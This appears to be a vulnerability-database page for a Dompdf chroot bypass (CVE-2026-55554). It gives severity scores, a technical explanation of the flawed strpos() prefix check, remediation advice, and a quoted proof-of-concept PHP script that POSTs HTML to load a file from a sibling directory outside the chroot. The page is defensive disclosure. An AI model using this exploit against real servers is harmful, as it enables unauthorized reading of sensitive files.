Is there a public PoC exploit available for EUVD-2026-50011?

Yes, a public proof-of-concept exploit is available for EUVD-2026-50011. Prioritise patching immediately. EPSS: 0.3%.

Is there a patch available for EUVD-2026-50011?

Yes, a patch is available for EUVD-2026-50011. Update the affected software to the latest version immediately.

Dompdf EUVD-2026-50011

Q: What is the CVSS score of EUVD-2026-50011?

EUVD-2026-50011 has a CVSS 4.0 base score of 2.3 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.3%.

| CVE-2026-55554 LOW

Improper Input Validation (CWE-20)

2026-07-22 https://github.com/dompdf/dompdf

GHSA-wvh6-f5jh-8gw4

PHP Information Disclosure

2.3

CVSS 4.0 · Vendor: https://github.com/dompdf/dompdf

Severity by source

Vendor (https://github.com/dompdf/dompdf) PRIMARY

2.3 LOW

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

7.5 HIGH

Exploited via network HTTP POST with no required privileges or user interaction; impact is confidentiality-only file read outside chroot, no integrity or availability effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/dompdf/dompdf).

CVSS VectorVendor: https://github.com/dompdf/dompdf

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

CVSS changed

Jul 28, 2026 - 20:22 NVD

2.3 (LOW)

Source Code Evidence Fetched

Jul 22, 2026 - 21:31 vuln.today

Analysis Generated

Jul 22, 2026 - 21:31 vuln.today

DescriptionCVE.org

Summary

The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details

The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:

    public function validateLocalUri(string $uri)
    {
        ...
        $realfile = realpath(str_replace("file://", "", $uri));
        ...
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;

Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a _prefix_ of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.

PoC

With a directory structure similar to:

/home/dompdf/
  |--> web/
        |--> pdf.php
        |--> cat0.jpg
  |--> web-admin/
        |--> cat1.jpg

And web-accessible Dompdf functionality similar to the following (poc.html):

<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);

$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>

A malicious actor can exploit the vulnerability with the following script:

$html = <<<HTML
<!DOCTYPE html>
<html>
    <body>
        <p>within chroot</p>
            <img src="/home/dompdf/web/cat0.jpg">
        <p>outside of chroot</p>
            <img src="/home/dompdf/web-admin/cat1.jpg">
    </body>
</html>
HTML;

$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact

An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

AnalysisAI

Dompdf's chroot validation logic in versions before 3.1.6 can be bypassed by an attacker who controls HTML content rendered into a PDF, allowing files outside the configured chroot directories to be read and embedded in the output. The root cause is a flawed strpos() prefix check in validateLocalUri() that fails to enforce directory boundaries after realpath() strips trailing slashes, enabling sibling directories like /var/www-admin to satisfy a chroot configured as /var/www. A publicly available proof-of-concept exploit is included in the GitHub Security Advisory GHSA-wvh6-f5jh-8gw4; no active exploitation is recorded in CISA KEV, and upgrading to v3.1.6 fully resolves the issue.

Technical ContextAI

Dompdf (pkg:composer/dompdf/dompdf) is a PHP library that converts HTML and CSS into PDF documents, widely used in web applications for receipt generation, reporting, and document export. It provides a chroot restriction feature via Options::setChroot() to limit which local filesystem paths may be accessed when loading embedded resources (images, fonts, stylesheets). The vulnerable validateLocalUri() method in src/Options.php first normalizes the supplied file path with PHP's realpath(), which strips trailing directory separators. The subsequent check strpos($realfile, $chrootPath) === 0 tests only that $chrootPath is a string prefix of $realfile at position zero - not that it is a proper directory ancestor. This conflates string-prefix matching with filesystem containment, classified under CWE-20 (Improper Input Validation). A chroot normalized to /var/www will therefore also match /var/www2, /var/www-admin, and /var/www_backup, all of which are completely separate directories outside the intended sandbox.

RemediationAI

Upgrade Dompdf to version 3.1.6 or later via Composer (composer update dompdf/dompdf). The patch at https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006 fixes validateLocalUri() by appending a directory separator before the prefix comparison - $normalizedChrootPath = rtrim($chrootPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR - and then using strncmp() rather than strpos(), ensuring sibling directories with matching name prefixes are correctly rejected. If immediate patching is not possible, restrict what HTML content is supplied to Dompdf so that resource references (img src, href, etc.) are either stripped of absolute local paths or validated against an allowlist before being passed to the library; this eliminates attacker control over the file paths that trigger the vulnerable check, though this workaround is application-specific and fragile. Additionally, audit the filesystem layout around your configured chroot directories and ensure no sensitive files reside in adjacent sibling directories sharing a name prefix with the chroot path. Upgrading to 3.1.6 remains the only definitive fix.